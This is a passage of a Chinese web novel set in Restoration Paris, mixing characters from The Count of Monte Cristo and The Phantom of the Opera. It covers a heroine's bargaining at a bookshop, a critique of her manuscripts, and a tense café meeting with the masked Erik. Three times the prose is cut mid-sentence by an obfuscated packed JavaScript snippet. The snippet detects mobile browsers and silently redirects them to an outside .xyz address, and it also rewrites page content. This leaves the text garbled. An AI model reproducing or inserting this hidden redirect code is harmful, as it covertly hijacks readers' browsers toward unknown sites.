她把已经泛黄破损的草药书摊开怼在老板眼下:“这书原价撑死也就六七法郎……我看看,印刷于1778年。五十年前的老物件也没理由能卖到这价。” “那又如何?”老板仍旧没有松口:“你说我为什么不去抢?老天作证,我这店也是从一群豺狼虎豹的嘴里抢来。” 旧书店的老板用烟斗敲着陈旧的桌子:“五法郎二十生丁!最多少卖五生丁。天知道我每天搜集各色旧书,将其翻新要花多少时间。好姑娘,我是个在巴黎纳税的老实商人,您总不能让我一个子都赚不到吧!” “可是这也太昂贵了。”珍妮依旧不依不饶。 而就是借半个身子越过书桌的这一细节,她看见在老板的脚边堆着泛黄的报纸以及各色杂志。 老板注意到珍妮的表情,也是有了周转之策:“这样吧!你加上已经打折掉八十生丁,把这堆杂志一起拿走。” 珍妮瞧这表情就知老板一定还有的赚:“不行,我又不是收破烂的。难不成花八十生丁买废品回家烧火做饭。” 老板:“得,又来一个抠门且挑剔的主儿。” 他把烟斗再次塞回黑黢黢的两排牙间:“那你自己好好挑挑,反正那书不得低于一个银币(一埃居银币=五法郎)。” 珍妮算是见到卖书的葛朗台了。 资本家啊! 她在一堆旧报纸与旧杂志里挑挑捡捡。 因为国王的言论管控,无论是报纸还是杂志的小说含量都异常之高,这让珍妮十分开心,但又很快塌了嘴想破口大骂——因为不少报纸是被剪裁过的。 头版兴许无暇,但是里头可能藏着长方形或圆形的镂空页面。 “这个啊!这个是被剪掉的求职广告。”老板瞧着珍妮不像略有盈余的富家小姐,“你没见过有人裁下求职广告?” “没有。”珍妮挑出剪过的报纸随口问道,“这些报纸都是您的?” “显而易见。” “那你为何要剪这些求职广告?” “还不是为回点买报的硬性开支。”书店的老板本不想谈这个话题,奈何珍妮问了出来,他便不能止住自己的话匣子,“作为一个合格的老板,了解当下的文学喜好就和农场主去观测天气,银行家去了解各地的政治活动一样正常,甚至可以变成习惯。” “我瞧你的书店里也没有多少通俗小说。”珍妮翻着内容多是小说、书评的报纸或杂志,“你既然没销售多少通俗小说,又为何去了解市面的小说偏好。” “问得好,这就是我为何要做二道贩子的另一理由。”老板突然提起离开的埃瑞克,“刚才与你起争执的男人是巴黎最好的指挥家与剧作家、歌唱家。你猜除了这位天才,我还认识多少能在业内掀起腥风血雨的顶尖人才?” “亲爱的,有人把鹅毛笔当利刃,白纸当盾牌。我收文学的废铜烂铁其实就和阴沟里的老鼠收废弃枪支,饭店收卖不出的碎肉没有任何区别——都是为了赚钱,赚钱。既赚你这顾客的钱,也赚那些想走捷径却无人可依的年轻人的钱。” “我们把冷门的书叫流莺,其实那是流莺的铭牌。我除了卖文学界的古董、废铁,还兼职做文人的老鸨——替其炒出花名、高价。” “这听起来太粗俗了。” “可这就是粗俗的世界。”书店的老板不以为然,“好了,您也别在问东问西,赶紧挑了东西付账。” 珍妮最后拿了十本杂志以及二十份报纸:“加上那本草药书给五法郎?” “五法郎?废铜烂铁也得上称量量。” “五法郎五生丁?” “五法郎三十生丁。” “好先生,瞧着我是个年轻的姑娘,以后还会过来买书。五法郎十生丁。” “五法郎十五生丁,再低不买。” 最后珍妮以五法郎十二生丁的价格买了一本草药书,一堆杂志、报纸。 然后她在回去的路上遇见了把塞纳河岸的书店逛了个遍的法利亚神父。 25.第 25 章 珍妮提着装书的麻袋与神父四目相对,后者撑着微微外扩的弯曲膝盖,两腿连同膝盖上的双臂蝴蝶振翅。 他站在被缝隙的光影切成两半的小巷中间,明明隔着一段距离,但是珍妮可以听到如牛的粗喘。就连老板都被店外的动静惹得探出头来:“呀!常客啊!” 他从歪掉的木板后滑出身子,一改之前的不耐烦状:“您今天想找些什么?” 老板瞥到像是按了暂停键的珍妮:“对了,魅影刚走。” “魅影?” 神父拖着粘糖似的老板朝珍妮靠去:“就是之前帮过我的埃瑞克。” 他艰难地腾出手冲珍妮比划:“大高个儿,黑披风,帽子多得能变魔术。” “太精致了。”衣服少的差点不能维持人设的珍妮对拉风的魅影肃然起敬,“戴面具的那个?” 神父看向松手的老板。 “我没见过不戴面具的埃瑞克。”老板一直盯着他最喜欢的肥羊,“你见过吗?不然他的绰号是怎么来的?” “所以他叫魅影是因他爱戴着白色面具?”珍妮有种梦回零几看港娱小报起UC标题的荒谬感,“他是在巴黎喜剧院做指挥家?” “显而易见。”书店的老板很奇怪道,“若非在巴黎……不!欧洲最好的剧院占有一席之地,哪能得到‘魅影’这般如雷贯耳的绰号。” “这就是我不太喜欢巴黎人的主要原因。”神父承认意大利在中世纪后就落魄了,不是被法兰西的孝子敲诈,就是沦为凯撒之囚(指查理五世攻入罗马,囚|禁教皇)。但是他们再怎么落魄也不能承认巴黎——罗马的学生,效仿者,声称自己拥有欧洲的最好剧院。 这简直是倒反天罡。 书店的老板迟疑了会儿。巴黎人的骄傲与财迷的本性相撞出了情商的结晶:“真不愧是意大利人。” 然后看向吃瓜的珍妮:“老相识?” 他又看向不喘气的神父。 “学生。”神父终于想起此行的真正目的,“你下午有其它事吗?” “没有。” “那咱可以找地聊聊。” 说罢看向书店的老板:“我听说有报社的老板想买你店。” 书店的老板收起笑容,点燃一直叼着没抽的烟斗笑道:“我这店也配人惦记?” “店不配,可你配。”神父看了珍妮一眼,指着她朝老板笑道,“还请您多照顾我这愚笨的学生。” “呵!确实是没太多脑子。”书店的老板何其之精,一改之前的斤斤计较,语气像个不耐教导愚笨学生的粗俗长辈:“找个女校教到二十一岁就可以拿着一千的年金去找有着两千年金的巴黎小子,何须让我白费力气。 ” 神父也没多费口舌,笑笑后就准备领着珍妮离开。 眼看对方不接招了,书店的老板再次变脸:“等等,等等。” 他一边朝走到巷口的神父跑去,一面伸出短胖的手让对方停下:“我不过是气她之前砍价太狠,好歹让我撒完气再说些话吧!” 神父虽然出手阔绰,但难搞时也真的难搞,所以还是从那显得不太聪明的少女下手,“小姐。” 很难想象一个男人,尤其是个吨位可观的中年男人也能发出甜滋滋的声音,“好小姐,同您老师说说情呗!” “等我见完女校的老师就会与你说说情。”珍妮不想被人看瘪,但是通过神父的行为,她也明白这人以后肯定会有用武之地,“还望那时您能给我更多折扣。” “一定,一定。”书店的老板选择性地听进了话,“想出书就来找我。不是我吹,全巴黎也找不出如巴贝老板般的公道商人。” “您亲自做出版生意?”你说巴贝收钱介绍出版商这属于书商的正常操作,但你要说巴贝亲自负责出版,神父觉得他一定在开玩笑,“巴黎的印刷商怕是要被这话吓死,您可是圈内有名的阿巴贡(四大吝啬鬼之一,出自莫里哀的悭吝人)。” “波拿巴的皇帝走了,回来的波旁生怕重蹈兄长的覆辙(现任法王路易十八为路易十六的弟弟)。”巴贝不免苦笑了下,揉着发疼的太阳穴道,“他也是个体面人,而且为了重登皇位负了不少贵族乃至银行家的债,不可能把思想的火苗彻底吹了。” “思想的火苗?呵!应该说是米达斯王的手指(希腊神话里点石成金的故事。讲的是一个国王得到酒神的赐福,双手可以点石成金,但也为此无法进食,无法睡觉,甚至石化了年幼的女儿)。”神父清楚波旁是个什么德行,而路易十八也不过比路易十六稍强一些,“印刷税又上涨了?” “涨了。”不提倒好,一提巴贝又打开了满腹怨气的话匣子,“斯唐诺普(发明家,现代印刷技术自他而起)那英国佬砸了欧洲的一半饭碗。不少怀着文学梦,政治梦的毛头小子从昂古莱姆的二手市场进了批被书商淘汰的老式木机。” “然后你们就难过了?”神父的话让脸垮的巴贝嘴角落到下颌线上,“难怪魅影说您是个讨厌的人。” 神父闻言嘿嘿一笑:“所 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14943157|151697||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 以你的印刷厂已出手了?” “出了。” 巴贝的话让神父的表情骤然一变,好在对方话音一转:“不过我能帮你讨个外省铺子。” “外省的铺子?” “外省人少,不像巴黎分工明确,一般都是印刷厂的老板顺便开个卖书的铺子。” “那的确得赶紧出手。”僧多肉少,资金链的压力可想而知。 ………… “咱们聊聊你的书吧!”神父找了带包间的咖啡馆请珍妮吃饭,关上明显不伦不类的木拉门便直入主题,“两本小说都很值得细细一阅。” 珍妮还在思考刚才的所见所闻:“什么小说?” 她的迷茫转移到了神父脸上。 “就是你给基督山伯爵的两部原稿。”神父立刻有了主意,“基督山伯爵不看这个,而斯帕达伯爵想看却是无力去看,所以托了路易让我替他把关。” “理解,理解。”珍妮知道神父的身份,但是配合对方演习也是她现在的一大乐趣,“您动作也真是快啊!” “……” “我记得是前天去的葛勒南街,一直呆到下午两点。”她看向已放到桌上的一叠书稿,“这是我的?” “……是” 说罢他便按住珍妮已经落到书稿上的手。 “神父?”珍妮知道神父也和爱德蒙般到处专场,保不准就忙中出错,差点露馅,“有问题吗?” “出门时没仔细去瞧,可能混了私人物品。”神父的表情依旧没有太大变化,“能让我先检查下吗?” “当然。” 然后神父若无其事地抽|出至少四分之一的补充内容。 嗯! 四分之一。 珍妮的经济不太宽裕,用的纸也又干又硬,翻几次后摞起会有很大空隙,即使插|了一堆一堆笔记也没有引起视觉上的“增高”之高。这让珍妮怀疑自己是否勤奋的同时也有自豪之感——神父愿做读书笔记就说明她的小说写的很不错嘛!作为开创龙傲天流的始祖药老,珍妮相信神父的眼光绝不会错。 就算不信大仲马的人设,也要相信神父作为红衣主教的秘书品味。 然而珍妮还没有为神父的夸奖沾沾自喜到露出笑容,对方的话便差点让她破了功:“一本写的确实不错,一本让我难以评价。” 出于照顾对方的自尊,神父说得十分委婉:“这本是你续写别人的半成品?还是参考私人的古籍进行创作?” “……” 26.第 26 章 “二者兼有。”珍妮没有料到神父看出小说的背后隐情,”但不全是二者兼有。” 神父想过珍妮会有何种反应,概率最大的是保持沉默,其次是支支吾吾地说些颠三倒四的话。坦白从宽确实也在神父的预料,只是年轻的巴漂姑娘,尤其是像珍妮这般有点聪明、虚荣的年轻姑娘,是不可能承认这种涉及前途的敏感问题。 但…… “我确实有所不对。”珍妮在《基督山伯爵》里最喜欢的角色就是法利亚神父。别看他在狱卒前疯疯癫癫,甚至还被视若亲子的爱德蒙.唐泰斯当做患了白日妄想症,但是神父之所以靠几章就能吸粉无数,除了拥有天才的大脑与乐观的性格,还有一颗正直善良,坚守原则的心——神父第一次越狱失败却阴差阳错地打通了爱德蒙的牢房,后者基于神父的经验找到了条逃生之路,不过在打通地道后要干掉守门的狱卒。对此,神父表示无法接受。即使狱卒侮辱过他,神父也不允许自己或是爱德蒙为追求自由杀死一个无辜的人。 同理,珍妮为了抵达巴黎,在此站稳,也不是没撒谎吹牛,借势使力。神父肯定知道珍妮不是什么天真少女,但却没有因此深究珍妮的对错。直到今日,他才露出珍妮未见的谴责眼神。 不过对于更年轻的珍妮,他还是像前文说的留有情面。 珍妮把神父当成未来的老师和成名路上的贵人。她很清楚,自己在这巴黎想要混出名头,就得效仿巴尔扎克的拉斯蒂涅,莫泊桑的杜洛瓦(《漂亮朋友》的主角)。 所以在这影响贵人对她感观的大问题上,最好别耍那些聪明。 “你很坦诚。” 这次轮到珍妮惊讶:“您不问我借鉴了谁?” “不问。”神父的眼睛仿佛可以看穿灵魂,“天才的光芒无法被人为或者世俗掩盖。” “您不生气?” “我为何要生你的气?”神父感到十分奇怪,“你发表了吗?” “……没有。” “你撒谎了吗?” “……也没有。”至少在这件事上的确没有。 “那我为何生你的气?”神父开始好奇珍妮经历了啥,“记得我们上次见时,我说过在我所见过的诸多人里,你的‘恶行’几乎就是小打小闹。” “神父……” “况且没我横插一脚,你这稿子也无法过编辑那关。”熟悉的神父又回来了。 “不可能。”上一秒还七上八下的珍妮此刻气得人已红温:“路易他就看过这本,而且评价相当不错。” “路易?那我问你,你是相信路易的品味还是我的?”神父提醒珍妮别忘他亦兼任爱德蒙的家庭老师,“那小子连《堂吉诃德》都没看完呢!你指望他预判一本小说是否大卖特卖。” “他没看完《堂吉诃德》?” “没有。”入狱前的爱德蒙连波吉亚家族都没听过,估计只是受过基础的识字教育与天主思想。入狱后的爱德蒙忙着学习各种语言与物理学、数学。出狱后不是急着财宝变现、购置房产,就是忙着照顾神父,培养复仇的各种马甲,哪有时间阅读这种休闲的杂书,“你给他看什么都能得到赞扬。” “真的?” “真的。” 珍妮再次翻过那本架空的小说,突然间便恍然大悟——难怪会得爱德蒙的强烈好评,可能是公爵死后,公爵之子带兵南下,为父报仇的剧情引起爱德蒙的强烈共鸣。 共鸣…… 珍妮露出思索的表情。 神父见状,还以为是她自己已看出作品的违和之处,于是把和爱德蒙在葛勒南街讨论过的事又复述了遍。 珍妮:“……” 难怪一些老网文里的抄诗片段经不起敲。仔细想想,她虽读过马丁的著作,看过相关的影视改编,可也不过记得里头的主要剧情,哪能把配角暗线,宗教地理都一一复刻。 她又不是人形电脑。 更没有像谢尔顿般的超强记忆。 原作的马丁尚且还要不断去翻前文的设定,更何况是没有马丁的写作经验,更没有套原著在旁的新人珍妮。 “哎……”捷径不好走啊,“命运馈赠的礼物,往往都标好价格。” “你这话倒很有深度。”神父笑道,“是你自己想的。” “……不是。”好像是个几十年后才会出生的作家想的。 女侍终于端上点好的托斯卡纳菜,可珍妮却没一点胃口。 “我还有成小说家的希望吗?”她搅着已荡出一层绵密泡沫的咖啡,“这本不行,另一本也……” “另一本你写的不是一般的好。”神父终于想起他要急着来见珍妮的主要原因,“十二宫杀手的下次受害者是谁?还有开膛手杰克到底是人是鬼?” 珍妮没有立刻回答神父的话,而是露出“这也能行”的古怪表情:“你很喜欢侦探小说?”她对这本并不上心。至少与架空的那本小说相比,珍妮写这本就没重修剧情,只是改过错字病句。 神父见珍妮的反应很是奇怪,不由得对小说的来历感到怀疑:“这不是你自己写的?” 如果又是上 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|14952573|151697||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 本的情况,神父就得怀疑珍妮的能力以及道德水准。 “是我自己写的。”这本应是自己的作品,不然后世的很多作品都能算是抄袭之作,“这本的灵感和索福克勒斯写《安提戈涅》的情况如出一辙。后者基于希腊神话,而我基于现实案件。”虽然是几十年至一百年后的真实案件。 “既然是真实案件,你又为何加上一些……”神父因为找不到能描述的词而一时语塞。 “超自然设定。” “对,超自然设定。”神父因珍妮的支支吾吾而心底一沉的情绪瞬间浮到海平面上,“你这形容很是贴切。” 他冲珍妮露出了个鼓励的笑:“所以你往小说里加超自然设定的理由是……” “原型是悬案,没人知道犯案的过程。”珍妮摊着双手回道,“不加这些超自然设定,主角压根没法破案。” 末了,她还补充道:“您也不想这本真的大红大紫后,会有极端的书粉或是反社会者效仿书里的……” “谋杀剧情。” 珍妮的声音因此变小,偷偷打量神父的表情。 “好吧!你这话也确实有理。”神父接受了珍妮的说法,“你买这些杂志报纸是为调查哪家适配你的小说风格。” “同时也为调查哪家卖得更多,稿费更高。”珍妮肃小脸回道。 神父听了微微一愣,随即笑得前仰后合。 ………… 饭后的珍妮没有回到伏盖公寓,而是跟着神父去了戈布兰的公寓。 “这里的租金高吗?”她有钱定搬出来享独居时光。 “你不喜欢拉丁区的氛围?” “租金太高,而且房东有点难缠。” “哦!怎么个难缠法?” “她想嫁给斯帕达伯爵。” “咳咳!”喝茶的神父因此呛得满脸通红,“她都没有见过伯爵,怎么会想嫁给他?” “不知道啊!因为我曾受过伯爵的做客邀请,所以她便缠上我了。”珍妮也是一脸疑惑,“对了,你怎知道斯帕达伯爵没有见过伏盖太太。” “我……”神父再次支支吾吾,“斯帕达伯爵年少时上教会学校,与我算有同校之谊。” “原来如此。”珍妮也是恍然大悟,“难怪他会收养基督山伯爵,估计是没解除独身的宗教誓言。” 神父擦着额头的冷汗。 好在此时,有人拯救了可怜的神父。 “神父?您今早又跑哪儿去了?”伴随一阵略显急促的脚步声,爱德蒙的眼睛与珍妮对上。 27.第 27 章 变回鱼贩的爱德蒙瞧着比伯爵时要顺眼得多。为了方便搬货运货,他的衣服,外套,都是那种很耐磨的硬挺粗布,斗篷上有防水油脂的皮革反光,应该是布列塔尼亚区的油布斗篷。因为穿着防水的靴子,所以他比平时看着略高一点。洗成米色的衬衣解开锁骨上的几颗扣子,腰链上挂着干活用的各色道具。 不是,哥们。你还真去卖鱼啊!这未免也太敬业了。 对比现代的208万,珍妮对爱德蒙肃然起敬——难怪能把银行家和皇家检察官都骗得得团团转,人家这是真下本啊! “下午好啊!汤德斯先生。” 许是在扮基督山伯爵时被珍妮的那句“视若亲女”给打击到,爱德蒙在这时有点无礼地盯着珍妮的脸,似乎是想看出什么。 珍妮被他看得有点毛骨悚然,一转头便对上没比爱德蒙好上一点的神父。 她的脸上是有什么东西吗?为何两人如此看她:“我是不是该回去了?” 珍妮抓着沙发的扶手慢慢起身。思来想去,她也只有“熟知剧情”这一个优势,而且还是脱离原著的魔改剧情。 神父仅凭阅读量就可以判出她的小说过分借鉴他人之作。管中窥豹,神父的阅历也和他的读书量般厚得惊人,未必不能看出珍妮已经知道二者身份。 “你又去给葛勒南街的伯爵送货?”神父率先打破平静。 “没有,我去了趟圣奥雷诺区。”爱德蒙把斗篷以及帽子摘下,“要不您再多坐一会儿。” 他看向已屁股离开沙发坐垫,活像是在表演一个反手支撑的珍妮:“我的马车就在门口,等会儿可以送你回去。” 爱德蒙从客厅的橱柜拿一把那不勒斯颠倒壶。 珍妮看着对方忙碌的宽阔背影的,目光也从对方的黑发转移到了咖啡壶上:“法兰西的咖啡壶不好用吗?” 好像不止爱德蒙和伏盖太太的公寓,别的地方也都爱用那不勒斯颠倒壶。 “法国的咖啡壶得配上过滤的法兰绒袋,那个真的很难清洗。”爱德蒙也不忘带了珍妮以及神父的那份,“你们在聊小说的事?”他看向没收起的书稿,“我觉得你很有天分。” “谢谢。”虽然神父吐槽过了爱德蒙的读书品味,可是能得对方称赞总归是件高兴的事儿。 但…… “那本还会继续写吗?” 珍妮还没高兴一会儿,爱德蒙的催稿便压弯她那上扬的嘴角—— 她该如何告诉对方自己已经决定坑了:“我……” 爱德蒙也看出珍妮的为难之色:“好吧!” 他没露出失望的表情,可珍妮觉得他一定是非常失望。 “时候不早了,你赶紧把博林小姐送回公寓。”神父适时打圆场道,“不然就会错过公寓的晚饭时刻。” “好。”爱德蒙把杯子放下,“等我回房拿件外套。” 再出现时,他不仅已换了外套,甚至换了米色的衬衣,粗布的裤子,打扮得像随处可见得中产绅士。 “请。” 因为是有运货的需求,门口的马车即使是被清理过了,靠近仍有渔获的腥味。货箱与客座间隔着夹有石棉的软木,应该是为保护货箱的冰块不化,但也因此免了客座的鼻子受罪。 巴黎的昼夜温差并不算大,可爱德蒙在出门前仍给她披了羊毛斗篷。 珍妮刚想说些什么,爱德蒙便不容拒绝的提议道:“你还会来戈布兰区找神父学习意大利语,到时还我。” 话都到了这个份上,珍妮只好谢谢对方。 ………… 回去的珍妮熬夜读完所有杂志、报纸,并且根据上面刊登的小说字数、版页,是否连载与连载到了第几章来分析哪种小说最受大众欢迎。 考虑到此时已有言情小说与女性杂志,她还做了受众不同的打分体系。 “样本是不是太少了点?”买回来的杂志报纸瞧着是有一麻袋多,可是归到统计表上并不能让样本的总量值得信服。 更别提这样本是被巴贝老板筛选过的。 不过从另一角度来想,没有人比旧书商的巴贝先生更懂巴黎想看什么。 ………… “你见到了梅塞苔丝?”送完珍妮的爱德蒙没回到富丽的葛勒南街,而是缩到戈布兰区的小公寓里舔舐伤口。 神父点燃客厅的壁炉。 爱德蒙的脖子因此析出不少汗珠。 “她嫁给了费尔南多,而且生了一个儿子。” 爱德蒙从神父手里接过热好的红葡萄酒,一低头便看见一潭石榴色上荡出不少细小涟漪。 “那孩子和母亲很像。” 神父刚说些什么,爱德蒙便自顾自道:“我故意用货箱挡住他们的路,那孩子却极有礼貌地问我是在卖些什么。” 爱德蒙在喝酒时尝到咸涩,脸上却是笑着讲述今天的事:“梅塞苔丝也很幸福……费尔南多比我想得还要爱她,甚至为她参加希腊的独立战争。” “我想你是搞错了这狡诈之辈的参战理由。”神父终于插|上了话,“他是为了向上的野心,而非是为梅塞苔丝。” “不,他既有为自己的野心,也是为让梅塞苔丝过得幸福。”爱德蒙难得反驳神父的话,“我看见她过得幸福,穿得像个富家太太,身边还有两个仆人,远比去做大副的妻子风光体面。” “爱德蒙。”神父再次打断了他,“你入狱前本该成为法老号的船长。想想看吧!十九岁的船长,前途无量。假以时日,你就攒够了买船的钱,或许能成莫雷尔先生的合作伙伴。” 神父按住爱德蒙因情绪激动而 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|14956979|151697||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 微微颤抖的肩膀:“你若没有蒙冤入狱,梅塞苔丝一定过得现在还好,所以不要妄自菲薄,掉进一个大怪圈里。” 爱德蒙对神父的安慰没有反应,而是盯着燃烧的柴火质问自己是否走上正确之路。 他很清楚自己的复仇势必破坏梅塞苔丝的幸福。 那个他曾深爱过的渔村姑娘还是有双温柔的眼睛—— “您也是马赛人?太好了!同我说说马赛现在怎么样?” “您以后若遇到麻烦,大可以来歌剧院区的蒙德戈府找我。” ………… “你明天是什么打算?”爱德蒙他一直不语,神父只好不断问话:“准备去趟歌剧院区?” “是。”谢天谢地,沉默许久的爱德蒙他终于开口,只是回答不尽人意,“我还是想见见她,看她过得好不好。” “那我陪你一起去。” “不。我明天以基督山伯爵的身份去看一场剧。”爱德蒙突然变得狼狈起来,“还是让我一人去吧!” 然而他没料的是,歌剧之行会撞上过来采集样本的珍妮。 ………… 【不是,她怎么跑这里来了?】 同是一夜未眠,车厢里的爱德蒙撑着下巴,眼神迷离地回忆过往。人行道上的珍妮则是活力满满,灵巧的眸子不断打量四周,手上更是笔耕不辍。 除了都有下眼睑的黑眼圈,二人的精神真可谓是天差地别。 “同行啊!”歌剧院区和拉丁区般,算是新贵的聚集区与上流人士的约会圣地,所以会有不少记者到这儿取材。 珍妮不过走了一段,就遇见了五个女记向她投来同行间的问好眼神。 为了方便追踪新闻,这些人都穿着露出脚踝的的裙子与平底或是低跟女靴。头发盘得一丝不苟,帽子上有备用的笔。 借着几次擦肩而过的缘分,珍妮还与这些女记聊了一会儿。 感谢浪漫的法兰西人不似高冷的北欧人般难以搭话。 也是通过这些交流,珍妮摸清招收女记的巴黎报刊与销量不错的女性杂志。 亦是因为她在街旁与人聊天,基督山伯爵的马车路过这儿时,爱德蒙鬼使神差地抬眼一瞟,印入眼帘的就是一张无比熟悉的青春面孔。 然后涌起各种疑问。 “你在前面的拐角停下。”即使想着情深缘浅的梅塞苔丝,可是看到珍妮一人出现在了人员混杂的歌剧院区,爱德蒙仍担心她被坏人盯上,一时间竟没空伤感。 车夫按照过往的经验将他拉到聚有不少游民杂工的小巷口里。 爱德蒙轻车熟路地找上向他脱帽致意的杂货贩子,递给他一五法郎的硬币:“去圣奥雷诺区的钱币街,请佩拉德来帮我盯人。” 剧演在即,他不可能亲自跟着珍妮。 28.第 28 章 跑腿的人在几息间就消失不见,但不能在几息后就带来接替爱德蒙的人。 “我去附近买点东西。”爱德蒙用怀表看了下时间,“佩拉德先生若提前来了,你就请他上车等我。” 车夫冲其点了点头。 爱德蒙把帽子压低,拐角时借橱窗的反光确定自己伪装无误。 走累的珍妮找了个咖啡馆来清点上午的调查结果。奇怪的是,这家店从装潢到菜单都平平无奇,但一进去却人满为患。 “麻烦问一下,这里可是有大事发生?”珍妮在女侍端上热咖啡时递给她些生丁打探消息。 女侍一手擦拭桌面,一手把小费拢进围裙口袋:“据说从英国来了个很有名的马戏团。” 珍妮的好奇消了一半:“这有什么可稀奇的。” “话可不能这么说。”女侍突然神神秘秘道:“你可见过连体人?就是臀部连在一起的双胞胎?还有生着四条腿的女人,象面的男人。” “这不该叫马戏团吧!”珍妮记得《魔界奇谭》里就有一集讲到这种很奇怪的马戏团。而且不止《魔界奇谭》,但凡是跟恐怖、悬疑有关的电视剧都不约而同地从这儿取材,“这应该叫畸形人秀。” “不愧是干新闻业的,造起名来就是令人耳目一新。”女侍小小地恭维了句,右手的大拇指不断磨搓着长茧的食指。 珍妮只得忍痛再给两生丁。 女侍立刻眉开眼笑:“谢谢小姐,您真慷概。” 看上对方很上道的份上,女侍决定多透露些“付费消息”:“你知道吗?马戏团里的……” “畸形人。” “对。马戏团里的畸形人也不全是先天畸形,还有些是认为制造。” 采生折割。 珍妮忍着作呕的欲望继续听着:“这倒是怎么火的?” “谁知道呢!”女侍可没几法郎的闲钱去买一张票,“据说为了这场大秀,马戏团还特别租下已经弃用的巴黎杂耍剧院。” “那可真是大手笔啊。”虽然不知巴黎杂耍剧院是啥,但是能被对方强调那肯定是有名头的。 “说来也是奇怪的很,马戏团的第一选择是法兰西喜剧院,据说都已签好合同,但是剧院的经理宁可支付昂贵的违约金都不许他们在此表演。”女侍耸着眉毛做出神秘兮兮的表情,“更奇怪的是,喜剧院的经理在毁约前摔断了腿。” 剧院、经理、摔断了腿。 已经见过基督山伯爵,伏盖太太、康利夫人等名著人物的珍妮不免冷汗直流。 她有读过加斯东·勒鲁的《歌剧魅影》,知道故事的舞台是在1861年开始修建的巴黎歌剧院。 考虑到作者的灵感来自1896年的水晶灯走火事件。即使她在巴贝先生的旧书店里听到老板戏称神父的毒舌朋友为“魅影”,她也没往歌剧魅影的方向去想——因为时间差了将近半个世纪。蝴蝶怕是拉上它的祖宗十八代把翅膀扇断都无法补上这一差距。 而且除了时间因素,魅影……她说是的神父认识的魅影比起原著更像同人创作。别的不说,90后和00 后对歌剧魅影的第一印象要么是费翔的帅脸,要么是杰拉德·巴特勒的白色覆面。 珍妮见到的“魅影”更贴后者形象,而原著里的魅影拥有骷髅般的可怖面容。1925年的老电影版和1989年的恐怖片版更加贴近原著形象。 好巧不巧的是,女侍前脚结束对话,后脚就有大门的风铃轻轻响起。 店外的冷风钻进珍妮的衣领。咖啡馆的生意过于火爆,她来时就正对大门的圆桌空着,坐下后,开门就能看到她在写写画画。 “店里没有空位子了。”女侍瞧着新客的打扮就知道他非富即贵,“您介意与别人拼桌吗?” 新客的目光落到一人一桌的珍妮身上。 感受到了不善的眼神,珍妮慢慢抬起了头…… 还是熟悉的高大身影,还是熟悉的白色面具。 即使是被帽子下的阴影蒙了层纱,珍妮仍能看清那双金棕色的眼里翻滚着两金色海浪——左眼写着“离我远点”,“右眼写着你咋在这儿”。 好极了,了解对方真实身份的珍妮也想多活几年。 “小姐,您可以和这位先生拼一个桌吗?”后面又有客人进来,十分不悦地推搡着把店门堵住的埃里克,“你们何时买了个把大门堵住的丑陋雕像。” 这句似乎刺激到了站着不动的埃里克。 他转身与后来的客人四目对峙,后者戴着爱尔兰式的宽檐帽,橘色的胡子与发红的颧骨,细密的雀斑都昭示着他暴|徒的出身与火爆脾气。 “你这小丑是想打一架吗?”后来的客人摸上腰间的木制把柄。 埃里克从突然靠近的对方身上闻到了股运动的汗臭。 女侍赶紧打圆场道:“店里不少有头有脸的人,二位可别过于激动……过于激动。”她应该与后来的客人更为熟悉,伸手去拉对方的胳膊。 珍妮观察着这场冲突,尤其不忘埃里克的每个表情:“先生。” 这一声让冲突的中心看向了她,连带不少吃瓜群众都投来目光。 “我想您是帕斯托雷神父(法利亚神父的马甲)的朋友。”她装出刚认出对方的愧疚模样,上前同后来的客人表达歉意,“我刚到巴黎,没有见过接应的人……” “管好你朋友。”后来的客人压根不等珍妮说完,警告了句便随着不断安抚他的女侍离开。 埃里克对帮忙的珍妮还是没个温和态度:“你的借口漏洞百出。” “那又如何?”珍妮对此不以为然,“管用就行,何必在意这些细节。” 凡事都要尽善尽美的埃里克很不喜欢珍妮的态度。他果然与这个女人相性不好,但还是没再生事端。 珍妮看着埃里克在对面坐下,手心已被汗水打湿,心里却是又惊又喜——惊的是这影视版或同人版的魅影尚有处世之虑;喜的是她暂时没有性命之忧。 “您不是在法兰西喜剧院身兼多职吗?怎么跑到这里来了?”她努力想找话破冰,可是对面不为所动,“我最近在……” “博林小姐。”埃里克他终于开口,眼里还是写着“不想与你纠缠”,“您虽然有法国血统,可到底是接受传统的英式教育,还请您像最普通的英国淑女般保持缄默。” 珍妮的额头爆出了根细小的筋:“我只想问您指挥过什么的作品,以及您最满意的作品是哪个,最受好评的作品是哪个。” 虽然心里堵着口气,可也不能当众破防:“我听说您已经成为剧院的招牌?”话里没有肯定,全是怀疑。 果然,埃里克又投来目光。 珍妮赶紧掏出她的记录工具:“请。” 